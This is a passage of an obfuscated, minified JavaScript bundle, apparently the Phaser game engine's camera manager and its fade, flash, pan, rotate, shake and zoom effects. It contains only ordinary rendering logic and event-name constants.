_0x23393f, _0x33813e) { void 0x0 === _0x5cf8c4 && (_0x5cf8c4 = 0x0), void 0x0 === _0x164ff8 && (_0x164ff8 = 0x0), void 0x0 === _0x149b5e && (_0x149b5e = this['scene']['sys']['scale']['width']), void 0x0 === _0x4af542 && (_0x4af542 = this['scene']['sys']['scale']['height']), void 0x0 === _0x23393f && (_0x23393f = !0x1), void 0x0 === _0x33813e && (_0x33813e = ''); var _0xf25f84 = new _0x2fbc49(_0x5cf8c4, _0x164ff8, _0x149b5e, _0x4af542); return _0xf25f84['setName'](_0x33813e), _0xf25f84['setScene'](this['scene']), _0xf25f84['setRoundPixels'](this['roundPixels']), _0xf25f84['id'] = this['getNextID'](), this['cameras']['push'](_0xf25f84), _0x23393f && (this['main'] = _0xf25f84), _0xf25f84; }, 'addExisting': function (_0x5e4008, _0x3f073a) { return void 0x0 === _0x3f073a && (_0x3f073a = !0x1), -0x1 === this['cameras']['indexOf'](_0x5e4008) ? (_0x5e4008['id'] = this['getNextID'](), _0x5e4008['setRoundPixels'](this['roundPixels']), this['cameras']['push'](_0x5e4008), _0x3f073a && (this['main'] = _0x5e4008), _0x5e4008) : null; }, 'getNextID': function () { for (var _0xcc20c0 = this['cameras'], _0x67f720 = 0x1, _0x54369 = 0x0; _0x54369 < 0x20; _0x54369++) { for (var _0x34b1e7 = !0x1, _0x2b5b29 = 0x0; _0x2b5b29 < _0xcc20c0['length']; _0x2b5b29++) { var _0x157aab = _0xcc20c0[_0x2b5b29]; _0x157aab && _0x157aab['id'] === _0x67f720 && (_0x34b1e7 = !0x0); } if (!_0x34b1e7) return _0x67f720; _0x67f720 <<= 0x1; } return 0x0; }, 'getTotal': function (_0x589217) { void 0x0 === _0x589217 && (_0x589217 = !0x1); for (var _0x5887dd = 0x0, _0x2da650 = this['cameras'], _0x4e351a = 0x0; _0x4e351a < _0x2da650['length']; _0x4e351a++) { var _0x26daa2 = _0x2da650[_0x4e351a]; (!_0x589217 || _0x589217 && _0x26daa2['visible']) && _0x5887dd++; } return _0x5887dd; }, 'fromJSON': function (_0x2c5219) { Array['isArray'](_0x2c5219) || (_0x2c5219 = [_0x2c5219]); for (var _0x10e395 = this['scene']['sys']['scale']['width'], _0x11bcc7 = this['scene']['sys']['scale']['height'], _0x4133dd = 0x0; _0x4133dd < _0x2c5219['length']; _0x4133dd++) { var _0x3d48fd = _0x2c5219[_0x4133dd], _0x2e7396 = _0x4c6b51(_0x3d48fd, 'x', 0x0), _0x10339e = _0x4c6b51(_0x3d48fd, 'y', 0x0), _0x43f74d = _0x4c6b51(_0x3d48fd, 'width', _0x10e395), _0x2972ef = _0x4c6b51(_0x3d48fd, 'height', _0x11bcc7), _0x35f8ca = this['add'](_0x2e7396, _0x10339e, _0x43f74d, _0x2972ef); _0x35f8ca['name'] = _0x4c6b51(_0x3d48fd, 'name', ''), _0x35f8ca['zoom'] = _0x4c6b51(_0x3d48fd, 'zoom', 0x1), _0x35f8ca['rotation'] = _0x4c6b51(_0x3d48fd, 'rotation', 0x0), _0x35f8ca['scrollX'] = _0x4c6b51(_0x3d48fd, 'scrollX', 0x0), _0x35f8ca['scrollY'] = _0x4c6b51(_0x3d48fd, 'scrollY', 0x0), _0x35f8ca['roundPixels'] = _0x4c6b51(_0x3d48fd, 'roundPixels', !0x1), _0x35f8ca['visible'] = _0x4c6b51(_0x3d48fd, 'visible', !0x0); var _0x50f28a = _0x4c6b51(_0x3d48fd, 'backgroundColor', !0x1); _0x50f28a && _0x35f8ca['setBackgroundColor'](_0x50f28a); var _0x50c6ab = _0x4c6b51(_0x3d48fd, 'bounds', null); if (_0x50c6ab) { var _0x50badb = _0x4c6b51(_0x50c6ab, 'x', 0x0), _0x4797d8 = _0x4c6b51(_0x50c6ab, 'y', 0x0), _0x21c6e9 = _0x4c6b51(_0x50c6ab, 'width', _0x10e395), _0xf3e583 = _0x4c6b51(_0x50c6ab, 'height', _0x11bcc7); _0x35f8ca['setBounds'](_0x50badb, _0x4797d8, _0x21c6e9, _0xf3e583); } } return this; }, 'getCamera': function (_0x546727) { for (var _0x23f76a = this['cameras'], _0x3c5aa6 = 0x0; _0x3c5aa6 < _0x23f76a['length']; _0x3c5aa6++)if (_0x23f76a[_0x3c5aa6]['name'] === _0x546727) return _0x23f76a[_0x3c5aa6]; return null; }, 'getCamerasBelowPointer': function (_0xd9f2cd) { for (var _0xea0cdd = this['cameras'], _0x4b8746 = _0xd9f2cd['x'], _0xa46e07 = _0xd9f2cd['y'], _0x1a5981 = [], _0x1dc04e = 0x0; _0x1dc04e < _0xea0cdd['length']; _0x1dc04e++) { var _0x1f1b6b = _0xea0cdd[_0x1dc04e]; _0x1f1b6b['visible'] && _0x1f1b6b['inputEnabled'] && _0xf9982b(_0x1f1b6b, _0x4b8746, _0xa46e07) && _0x1a5981['unshift'](_0x1f1b6b); } return _0x1a5981; }, 'remove': function (_0x4e033c, _0x26b588) { void 0x0 === _0x26b588 && (_0x26b588 = !0x0), Array['isArray'](_0x4e033c) || (_0x4e033c = [_0x4e033c]); for (var _0x2fa999 = 0x0, _0x27147b = this['cameras'], _0x430aca = 0x0; _0x430aca < _0x4e033c['length']; _0x430aca++) { var _0x425499 = _0x27147b['indexOf'](_0x4e033c[_0x430aca]); -0x1 !== _0x425499 && (_0x26b588 ? _0x27147b[_0x425499]['destroy']() : _0x27147b[_0x425499]['renderList'] = [], _0x27147b['splice'](_0x425499, 0x1), _0x2fa999++); } return !this['main'] && _0x27147b[0x0] && (this['main'] = _0x27147b[0x0]), _0x2fa999; }, 'render': function (_0x28021e, _0x1c5190) { for (var _0x4c4b4d = this['scene'], _0x32a4cc = this['cameras'], _0x38f249 = 0x0; _0x38f249 < _0x32a4cc['length']; _0x38f249++) { var _0x5a3ca6 = _0x32a4cc[_0x38f249]; if (_0x5a3ca6['visible'] && _0x5a3ca6['alpha'] > 0x0) { _0x5a3ca6['preRender'](); var _0xf076b8 = this['getVisibleChildren'](_0x1c5190['getChildren'](), _0x5a3ca6); _0x28021e['render'](_0x4c4b4d, _0xf076b8, _0x5a3ca6); } } }, 'getVisibleChildren': function (_0x50f058, _0xb0b3ed) { return _0x50f058['filter'](function (_0x510ed5) { return _0x510ed5['willRender'](_0xb0b3ed); }); }, 'resetAll': function () { for (var _0x12e955 = 0x0; _0x12e955 < this['cameras']['length']; _0x12e955++)this['cameras'][_0x12e955]['destroy'](); return this['cameras'] = [], this['main'] = this['add'](), this['main']; }, 'update': function (_0x34cf37, _0x3a9703) { for (var _0x5d5782 = 0x0; _0x5d5782 < this['cameras']['length']; _0x5d5782++)this['cameras'][_0x5d5782]['update'](_0x34cf37, _0x3a9703); }, 'onResize': function (_0x2299b2, _0x46ec89, _0x28e43a, _0x1b77e0, _0x5ccb52) { for (var _0x11c0e6 = 0x0; _0x11c0e6 < this['cameras']['length']; _0x11c0e6++) { var _0x3f2f8e = this['cameras'][_0x11c0e6]; 0x0 === _0x3f2f8e['_x'] && 0x0 === _0x3f2f8e['_y'] && _0x3f2f8e['_width'] === _0x1b77e0 && _0x3f2f8e['_height'] === _0x5ccb52 && _0x3f2f8e['setSize'](_0x46ec89['width'], _0x46ec89['height']); } }, 'resize': function (_0x5c822f, _0x3eb30d) { for (var _0x36efc1 = 0x0; _0x36efc1 < this['cameras']['length']; _0x36efc1++)this['cameras'][_0x36efc1]['setSize'](_0x5c822f, _0x3eb30d); }, 'shutdown': function () { this['main'] = void 0x0; for (var _0x32be0d = 0x0; _0x32be0d < this['cameras']['length']; _0x32be0d++)this['cameras'][_0x32be0d]['destroy'](); this['cameras'] = []; var _0x232639 = this['systems']['events']; _0x232639['off'](_0x42424e['UPDATE'], this['update'], this), _0x232639['off'](_0x42424e['SHUTDOWN'], this['shutdown'], this); }, 'destroy': function () { this['shutdown'](), this['default']['destroy'](), this['systems']['events']['off'](_0x42424e['START'], this['start'], this), this['systems']['events']['off'](_0x42424e['DESTROY'], this['destroy'], this), this['systems']['game']['scale']['off'](_0x554876['RESIZE'], this['onResize'], this), this['scene'] = null, this['systems'] = null; } }); _0x178238['register']('CameraManager', _0x3b12fd, 'cameras'), _0x509f67['exports'] = _0x3b12fd; }, 0x139c: (_0x51f0d2, _0x159d8a, _0x12da60) => { var _0x187a2e = _0x12da60(0xb107), _0x22a548 = _0x12da60(0x145db), _0x58a014 = _0x12da60(0x4d03), _0x107b66 = new _0x22a548({ 'initialize': function (_0x423b3e) { this['camera'] = _0x423b3e, this['isRunning'] = !0x1, this['isComplete'] = !0x1, this['direction'] = !0x0, this['duration'] = 0x0, this['red'] = 0x0, this['green'] = 0x0, this['blue'] = 0x0, this['alpha'] = 0x0, this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_onUpdate'], this['_onUpdateScope']; }, 'start': function (_0x103414, _0x59a9c0, _0x489a3a, _0x43e1f7, _0x43cbf3, _0x423ca1, _0x32c844, _0x22c7d3) { if (void 0x0 === _0x103414 && (_0x103414 = !0x0), void 0x0 === _0x59a9c0 && (_0x59a9c0 = 0x3e8), void 0x0 === _0x489a3a && (_0x489a3a = 0x0), void 0x0 === _0x43e1f7 && (_0x43e1f7 = 0x0), void 0x0 === _0x43cbf3 && (_0x43cbf3 = 0x0), void 0x0 === _0x423ca1 && (_0x423ca1 = !0x1), void 0x0 === _0x32c844 && (_0x32c844 = null), void 0x0 === _0x22c7d3 && (_0x22c7d3 = this['camera']['scene']), !_0x423ca1 && this['isRunning']) return this['camera']; this['isRunning'] = !0x0, this['isComplete'] = !0x1, this['duration'] = _0x59a9c0, this['direction'] = _0x103414, this['progress'] = 0x0, this['red'] = _0x489a3a, this['green'] = _0x43e1f7, this['blue'] = _0x43cbf3, this['alpha'] = _0x103414 ? Number['MIN_VALUE'] : 0x1, this['_elapsed'] = 0x0, this['_onUpdate'] = _0x32c844, this['_onUpdateScope'] = _0x22c7d3; var _0x3c9fbc = _0x103414 ? _0x58a014['FADE_OUT_START'] : _0x58a014['FADE_IN_START']; return this['camera']['emit'](_0x3c9fbc, this['camera'], this, _0x59a9c0, _0x489a3a, _0x43e1f7, _0x43cbf3), this['camera']; }, 'update': function (_0x44b518, _0x28df79) { this['isRunning'] && (this['_elapsed'] += _0x28df79, this['progress'] = _0x187a2e(this['_elapsed'] / this['duration'], 0x0, 0x1), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['camera'], this['progress']), this['_elapsed'] < this['duration'] ? this['alpha'] = this['direction'] ? this['progress'] : 0x1 - this['progress'] : (this['alpha'] = this['direction'] ? 0x1 : 0x0, this['effectComplete']())); }, 'postRenderCanvas': function (_0x2e2501) { if (!this['isRunning'] && !this['isComplete']) return !0x1; var _0x53c96a = this['camera']; return _0x2e2501['fillStyle'] = 'rgba(' + this['red'] + ',' + this['green'] + ',' + this['blue'] + ',' + this['alpha'] + ')', _0x2e2501['fillRect'](_0x53c96a['x'], _0x53c96a['y'], _0x53c96a['width'], _0x53c96a['height']), !0x0; }, 'postRenderWebGL': function (_0x4187a6, _0x25c87b) { if (!this['isRunning'] && !this['isComplete']) return !0x1; var _0x35f098 = this['camera'], _0x3b5a1b = this['red'] / 0xff, _0x34a8e5 = this['green'] / 0xff, _0x46348b = this['blue'] / 0xff; return _0x4187a6['drawFillRect'](_0x35f098['x'], _0x35f098['y'], _0x35f098['width'], _0x35f098['height'], _0x25c87b(_0x46348b, _0x34a8e5, _0x3b5a1b, 0x1), this['alpha']), !0x0; }, 'effectComplete': function () { this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['isComplete'] = !0x0; var _0x52c941 = this['direction'] ? _0x58a014['FADE_OUT_COMPLETE'] : _0x58a014['FADE_IN_COMPLETE']; this['camera']['emit'](_0x52c941, this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['isComplete'] = !0x1, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null; } }); _0x51f0d2['exports'] = _0x107b66; }, 0x29a6: (_0x5a55be, _0x3be1f2, _0x22472c) => { var _0x495eea = _0x22472c(0xb107), _0x5deddf = _0x22472c(0x145db), _0x30de57 = _0x22472c(0x4d03), _0x40d05a = new _0x5deddf({ 'initialize': function (_0x3d6f39) { this['camera'] = _0x3d6f39, this['isRunning'] = !0x1, this['duration'] = 0x0, this['red'] = 0x0, this['green'] = 0x0, this['blue'] = 0x0, this['alpha'] = 0x1, this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_alpha'], this['_onUpdate'], this['_onUpdateScope']; }, 'start': function (_0x40c29d, _0x47ce68, _0x56a6b5, _0x46f0e9, _0x599112, _0x3fb7ed, _0x5316e0) { return void 0x0 === _0x40c29d && (_0x40c29d = 0xfa), void 0x0 === _0x47ce68 && (_0x47ce68 = 0xff), void 0x0 === _0x56a6b5 && (_0x56a6b5 = 0xff), void 0x0 === _0x46f0e9 && (_0x46f0e9 = 0xff), void 0x0 === _0x599112 && (_0x599112 = !0x1), void 0x0 === _0x3fb7ed && (_0x3fb7ed = null), void 0x0 === _0x5316e0 && (_0x5316e0 = this['camera']['scene']), !_0x599112 && this['isRunning'] || (this['isRunning'] = !0x0, this['duration'] = _0x40c29d, this['progress'] = 0x0, this['red'] = _0x47ce68, this['green'] = _0x56a6b5, this['blue'] = _0x46f0e9, this['_alpha'] = this['alpha'], this['_elapsed'] = 0x0, this['_onUpdate'] = _0x3fb7ed, this['_onUpdateScope'] = _0x5316e0, this['camera']['emit'](_0x30de57['FLASH_START'], this['camera'], this, _0x40c29d, _0x47ce68, _0x56a6b5, _0x46f0e9)), this['camera']; }, 'update': function (_0xf419e3, _0x6a051d) { this['isRunning'] && (this['_elapsed'] += _0x6a051d, this['progress'] = _0x495eea(this['_elapsed'] / this['duration'], 0x0, 0x1), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['camera'], this['progress']), this['_elapsed'] < this['duration'] ? this['alpha'] = this['_alpha'] * (0x1 - this['progress']) : this['effectComplete']()); }, 'postRenderCanvas': function (_0x4fd2a1) { if (!this['isRunning']) return !0x1; var _0x59c8f4 = this['camera']; return _0x4fd2a1['fillStyle'] = 'rgba(' + this['red'] + ',' + this['green'] + ',' + this['blue'] + ',' + this['alpha'] + ')', _0x4fd2a1['fillRect'](_0x59c8f4['x'], _0x59c8f4['y'], _0x59c8f4['width'], _0x59c8f4['height']), !0x0; }, 'postRenderWebGL': function (_0x24df47, _0x21e752) { if (!this['isRunning']) return !0x1; var _0x16f350 = this['camera'], _0xd97108 = this['red'] / 0xff, _0x9a29fa = this['green'] / 0xff, _0x47e291 = this['blue'] / 0xff; return _0x24df47['drawFillRect'](_0x16f350['x'], _0x16f350['y'], _0x16f350['width'], _0x16f350['height'], _0x21e752(_0x47e291, _0x9a29fa, _0xd97108, 0x1), this['alpha']), !0x0; }, 'effectComplete': function () { this['alpha'] = this['_alpha'], this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['camera']['emit'](_0x30de57['FLASH_COMPLETE'], this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null; } }); _0x5a55be['exports'] = _0x40d05a; }, 0x4f87: (_0x557819, _0x27009d, _0x44090c) => { var _0x28dd48 = _0x44090c(0xb107), _0x3bb654 = _0x44090c(0x145db), _0x177ed6 = _0x44090c(0xf4b0), _0x16edcf = _0x44090c(0x4d03), _0x51af96 = _0x44090c(0x65f3), _0x1270de = new _0x3bb654({ 'initialize': function (_0x1e1f96) { this['camera'] = _0x1e1f96, this['isRunning'] = !0x1, this['duration'] = 0x0, this['source'] = new _0x51af96(), this['current'] = new _0x51af96(), this['destination'] = new _0x51af96(), this['ease'], this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_onUpdate'], this['_onUpdateScope']; }, 'start': function (_0x4bfb65, _0x566053, _0x3448f5, _0x4b60a1, _0x162edc, _0x214700, _0x2b5475) { void 0x0 === _0x3448f5 && (_0x3448f5 = 0x3e8), void 0x0 === _0x4b60a1 && (_0x4b60a1 = _0x177ed6['Linear']), void 0x0 === _0x162edc && (_0x162edc = !0x1), void 0x0 === _0x214700 && (_0x214700 = null), void 0x0 === _0x2b5475 && (_0x2b5475 = this['camera']['scene']); var _0x53657e = this['camera']; return !_0x162edc && this['isRunning'] || (this['isRunning'] = !0x0, this['duration'] = _0x3448f5, this['progress'] = 0x0, this['source']['set'](_0x53657e['scrollX'], _0x53657e['scrollY']), this['destination']['set'](_0x4bfb65, _0x566053), _0x53657e['getScroll'](_0x4bfb65, _0x566053, this['current']), 'string' == typeof _0x4b60a1 && _0x177ed6['hasOwnProperty'](_0x4b60a1) ? this['ease'] = _0x177ed6[_0x4b60a1] : 'function' == typeof _0x4b60a1 && (this['ease'] = _0x4b60a1), this['_elapsed'] = 0x0, this['_onUpdate'] = _0x214700, this['_onUpdateScope'] = _0x2b5475, this['camera']['emit'](_0x16edcf['PAN_START'], this['camera'], this, _0x3448f5, _0x4bfb65, _0x566053)), _0x53657e; }, 'update': function (_0x557fa8, _0x6fc566) { if (this['isRunning']) { this['_elapsed'] += _0x6fc566; var _0x13c543 = _0x28dd48(this['_elapsed'] / this['duration'], 0x0, 0x1); this['progress'] = _0x13c543; var _0x5e5453 = this['camera']; if (this['_elapsed'] < this['duration']) { var _0x35f7a3 = this['ease'](_0x13c543); _0x5e5453['getScroll'](this['destination']['x'], this['destination']['y'], this['current']); var _0x99ed5b = this['source']['x'] + (this['current']['x'] - this['source']['x']) * _0x35f7a3, _0x5ebeaa = this['source']['y'] + (this['current']['y'] - this['source']['y']) * _0x35f7a3; _0x5e5453['setScroll'](_0x99ed5b, _0x5ebeaa), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], _0x5e5453, _0x13c543, _0x99ed5b, _0x5ebeaa); } else _0x5e5453['centerOn'](this['destination']['x'], this['destination']['y']), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], _0x5e5453, _0x13c543, _0x5e5453['scrollX'], _0x5e5453['scrollY']), this['effectComplete'](); } }, 'effectComplete': function () { this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['camera']['emit'](_0x16edcf['PAN_COMPLETE'], this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null, this['source'] = null, this['destination'] = null; } }); _0x557819['exports'] = _0x1270de; }, 0x85a0: (_0x40e66b, _0xc26729, _0x5955a2) => { var _0x7011c0 = _0x5955a2(0xb107), _0x4b71c5 = _0x5955a2(0x145db), _0x5274fe = _0x5955a2(0x4d03), _0x4773d0 = _0x5955a2(0xf4b0), _0x155291 = new _0x4b71c5({ 'initialize': function (_0x136d14) { this['camera'] = _0x136d14, this['isRunning'] = !0x1, this['duration'] = 0x0, this['source'] = 0x0, this['current'] = 0x0, this['destination'] = 0x0, this['ease'], this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_onUpdate'], this['_onUpdateScope'], this['clockwise'] = !0x0, this['shortestPath'] = !0x1; }, 'start': function (_0x411085, _0x399ef6, _0x219237, _0x3250ed, _0xf5c417, _0x517647, _0x38d47e) { void 0x0 === _0x219237 && (_0x219237 = 0x3e8), void 0x0 === _0x3250ed && (_0x3250ed = _0x4773d0['Linear']), void 0x0 === _0xf5c417 && (_0xf5c417 = !0x1), void 0x0 === _0x517647 && (_0x517647 = null), void 0x0 === _0x38d47e && (_0x38d47e = this['camera']['scene']), void 0x0 === _0x399ef6 && (_0x399ef6 = !0x1), this['shortestPath'] = _0x399ef6; var _0x4b3078 = _0x411085; _0x411085 < 0x0 ? (_0x4b3078 = -0x1 * _0x411085, this['clockwise'] = !0x1) : this['clockwise'] = !0x0; var _0x226621 = 0x168 * Math['PI'] / 0xb4; _0x4b3078 -= Math['floor'](_0x4b3078 / _0x226621) * _0x226621; var _0x7b748e = this['camera']; if (!_0xf5c417 && this['isRunning']) return _0x7b748e; if (this['isRunning'] = !0x0, this['duration'] = _0x219237, this['progress'] = 0x0, this['source'] = _0x7b748e['rotation'], this['destination'] = _0x4b3078, 'string' == typeof _0x3250ed && _0x4773d0['hasOwnProperty'](_0x3250ed) ? this['ease'] = _0x4773d0[_0x3250ed] : 'function' == typeof _0x3250ed && (this['ease'] = _0x3250ed), this['_elapsed'] = 0x0, this['_onUpdate'] = _0x517647, this['_onUpdateScope'] = _0x38d47e, this['shortestPath']) { var _0x4009c8 = 0x0, _0x3dca23 = 0x0; (_0x4009c8 = this['destination'] > this['source'] ? Math['abs'](this['destination'] - this['source']) : Math['abs'](this['destination'] + _0x226621) - this['source']) < (_0x3dca23 = this['source'] > this['destination'] ? Math['abs'](this['source'] - this['destination']) : Math['abs'](this['source'] + _0x226621) - this['destination']) ? this['clockwise'] = !0x0 : _0x4009c8 > _0x3dca23 && (this['clockwise'] = !0x1); } return this['camera']['emit'](_0x5274fe['ROTATE_START'], this['camera'], this, _0x219237, _0x4b3078), _0x7b748e; }, 'update': function (_0x43b188, _0x31f588) { if (this['isRunning']) { this['_elapsed'] += _0x31f588; var _0xe57bd1 = _0x7011c0(this['_elapsed'] / this['duration'], 0x0, 0x1); this['progress'] = _0xe57bd1; var _0x457d75 = this['camera']; if (this['_elapsed'] < this['duration']) { var _0x1b9c3b = this['ease'](_0xe57bd1); this['current'] = _0x457d75['rotation']; var _0x2dfcfa = 0x0, _0x386e3e = 0x168 * Math['PI'] / 0xb4, _0xfa58c4 = this['destination'], _0x2f8417 = this['current']; !0x1 === this['clockwise'] && (_0xfa58c4 = this['current'], _0x2f8417 = this['destination']), _0x2dfcfa = _0xfa58c4 >= _0x2f8417 ? Math['abs'](_0xfa58c4 - _0x2f8417) : Math['abs'](_0xfa58c4 + _0x386e3e) - _0x2f8417; var _0x4588fd = 0x0; _0x4588fd = this['clockwise'] ? _0x457d75['rotation'] + _0x2dfcfa * _0x1b9c3b : _0x457d75['rotation'] - _0x2dfcfa * _0x1b9c3b, _0x457d75['rotation'] = _0x4588fd, this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], _0x457d75, _0xe57bd1, _0x4588fd); } else _0x457d75['rotation'] = this['destination'], this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], _0x457d75, _0xe57bd1, this['destination']), this['effectComplete'](); } }, 'effectComplete': function () { this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['camera']['emit'](_0x5274fe['ROTATE_COMPLETE'], this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null, this['source'] = null, this['destination'] = null; } }); _0x40e66b['exports'] = _0x155291; }, 0x767a: (_0x30af5f, _0x5ae54e, _0x457353) => { var _0x3b7814 = _0x457353(0xb107), _0x41724f = _0x457353(0x145db), _0x23182c = _0x457353(0x4d03), _0x373312 = _0x457353(0x65f3), _0x4a5fbc = new _0x41724f({ 'initialize': function (_0x5451b0) { this['camera'] = _0x5451b0, this['isRunning'] = !0x1, this['duration'] = 0x0, this['intensity'] = new _0x373312(), this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_offsetX'] = 0x0, this['_offsetY'] = 0x0, this['_onUpdate'], this['_onUpdateScope']; }, 'start': function (_0x513780, _0xb82a5c, _0x1036c9, _0x5c4371, _0x5b6405) { return void 0x0 === _0x513780 && (_0x513780 = 0x64), void 0x0 === _0xb82a5c && (_0xb82a5c = 0.05), void 0x0 === _0x1036c9 && (_0x1036c9 = !0x1), void 0x0 === _0x5c4371 && (_0x5c4371 = null), void 0x0 === _0x5b6405 && (_0x5b6405 = this['camera']['scene']), !_0x1036c9 && this['isRunning'] || (this['isRunning'] = !0x0, this['duration'] = _0x513780, this['progress'] = 0x0, 'number' == typeof _0xb82a5c ? this['intensity']['set'](_0xb82a5c) : this['intensity']['set'](_0xb82a5c['x'], _0xb82a5c['y']), this['_elapsed'] = 0x0, this['_offsetX'] = 0x0, this['_offsetY'] = 0x0, this['_onUpdate'] = _0x5c4371, this['_onUpdateScope'] = _0x5b6405, this['camera']['emit'](_0x23182c['SHAKE_START'], this['camera'], this, _0x513780, _0xb82a5c)), this['camera']; }, 'preRender': function () { this['isRunning'] && this['camera']['matrix']['translate'](this['_offsetX'], this['_offsetY']); }, 'update': function (_0x10a79b, _0x19cf53) { if (this['isRunning']) { if (this['_elapsed'] += _0x19cf53, this['progress'] = _0x3b7814(this['_elapsed'] / this['duration'], 0x0, 0x1), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['camera'], this['progress']), this['_elapsed'] < this['duration']) { var _0x22b42c = this['intensity'], _0x5c84ed = this['camera']['width'], _0x44df86 = this['camera']['height'], _0x156330 = this['camera']['zoom']; this['_offsetX'] = (Math['random']() * _0x22b42c['x'] * _0x5c84ed * 0x2 - _0x22b42c['x'] * _0x5c84ed) * _0x156330, this['_offsetY'] = (Math['random']() * _0x22b42c['y'] * _0x44df86 * 0x2 - _0x22b42c['y'] * _0x44df86) * _0x156330, this['camera']['roundPixels'] && (this['_offsetX'] = Math['round'](this['_offsetX']), this['_offsetY'] = Math['round'](this['_offsetY'])); } else this['effectComplete'](); } }, 'effectComplete': function () { this['_offsetX'] = 0x0, this['_offsetY'] = 0x0, this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['camera']['emit'](_0x23182c['SHAKE_COMPLETE'], this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['_offsetX'] = 0x0, this['_offsetY'] = 0x0, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null, this['intensity'] = null; } }); _0x30af5f['exports'] = _0x4a5fbc; }, 0xb249: (_0x259d49, _0xf184b3, _0x6b17ad) => { var _0x253ce2 = _0x6b17ad(0xb107), _0x4400d9 = _0x6b17ad(0x145db), _0x32eebe = _0x6b17ad(0xf4b0), _0x2d140c = _0x6b17ad(0x4d03), _0x4aeabb = new _0x4400d9({ 'initialize': function (_0x77a6ea) { this['camera'] = _0x77a6ea, this['isRunning'] = !0x1, this['duration'] = 0x0, this['source'] = 0x1, this['destination'] = 0x1, this['ease'], this['progress'] = 0x0, this['_elapsed'] = 0x0, this['_onUpdate'], this['_onUpdateScope']; }, 'start': function (_0x7f1fae, _0x43b6b0, _0x5bddda, _0x49b865, _0x171078, _0xa156e6) { void 0x0 === _0x43b6b0 && (_0x43b6b0 = 0x3e8), void 0x0 === _0x5bddda && (_0x5bddda = _0x32eebe['Linear']), void 0x0 === _0x49b865 && (_0x49b865 = !0x1), void 0x0 === _0x171078 && (_0x171078 = null), void 0x0 === _0xa156e6 && (_0xa156e6 = this['camera']['scene']); var _0x33a6c9 = this['camera']; return !_0x49b865 && this['isRunning'] || (this['isRunning'] = !0x0, this['duration'] = _0x43b6b0, this['progress'] = 0x0, this['source'] = _0x33a6c9['zoom'], this['destination'] = _0x7f1fae, 'string' == typeof _0x5bddda && _0x32eebe['hasOwnProperty'](_0x5bddda) ? this['ease'] = _0x32eebe[_0x5bddda] : 'function' == typeof _0x5bddda && (this['ease'] = _0x5bddda), this['_elapsed'] = 0x0, this['_onUpdate'] = _0x171078, this['_onUpdateScope'] = _0xa156e6, this['camera']['emit'](_0x2d140c['ZOOM_START'], this['camera'], this, _0x43b6b0, _0x7f1fae)), _0x33a6c9; }, 'update': function (_0xcb1d08, _0x27745f) { this['isRunning'] && (this['_elapsed'] += _0x27745f, this['progress'] = _0x253ce2(this['_elapsed'] / this['duration'], 0x0, 0x1), this['_elapsed'] < this['duration'] ? (this['camera']['zoom'] = this['source'] + (this['destination'] - this['source']) * this['ease'](this['progress']), this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['camera'], this['progress'], this['camera']['zoom'])) : (this['camera']['zoom'] = this['destination'], this['_onUpdate'] && this['_onUpdate']['call'](this['_onUpdateScope'], this['camera'], this['progress'], this['destination']), this['effectComplete']())); }, 'effectComplete': function () { this['_onUpdate'] = null, this['_onUpdateScope'] = null, this['isRunning'] = !0x1, this['camera']['emit'](_0x2d140c['ZOOM_COMPLETE'], this['camera'], this); }, 'reset': function () { this['isRunning'] = !0x1, this['_onUpdate'] = null, this['_onUpdateScope'] = null; }, 'destroy': function () { this['reset'](), this['camera'] = null; } }); _0x259d49['exports'] = _0x4aeabb; }, 0x4e54: (_0x4c14ad, _0xc47aeb, _0x94bcbf) => { _0x4c14ad['exports'] = { 'Fade': _0x94bcbf(0x139c), 'Flash': _0x94bcbf(0x29a6), 'Pan': _0x94bcbf(0x4f87), 'Shake': _0x94bcbf(0x767a), 'RotateTo': _0x94bcbf(0x85a0), 'Zoom': _0x94bcbf(0xb249) }; }, 0x4036: _0x5de1e8 => { _0x5de1e8['exports'] = 'cameradestroy'; }, 0x7fd6: _0x795654 => { _0x795654['exports'] = 'camerafadeincomplete'; }, 0x156ff: _0x439dab => { _0x439dab['exports'] = 'camerafadeinstart'; }, 0xb35d: _0x428d27 => { _0x428d27['exports'] = 'camerafadeoutcomplete'; }, 0x175b2: _0x2f2c2a => { _0x2f2c2a['exports'] = 'camerafadeoutstart'; }, 0xb7d0: _0x293630 => { _0x293630['exports'] = 'cameraflashcomplete'; }, 0x1647d: _0x5337a6 => { _0x5337a6['exports'] = 'cameraflashstart'; }, 0xaff7: _0x56ad61 => { _0x56ad61['exports'] = 'followupdate'; }, 0x14007: _0x3514ef => { _0x3514ef['exports'] = 'camerapancomplete'; }, 0x12218: _0x58d55e => { _0x58d55e['exports'] = 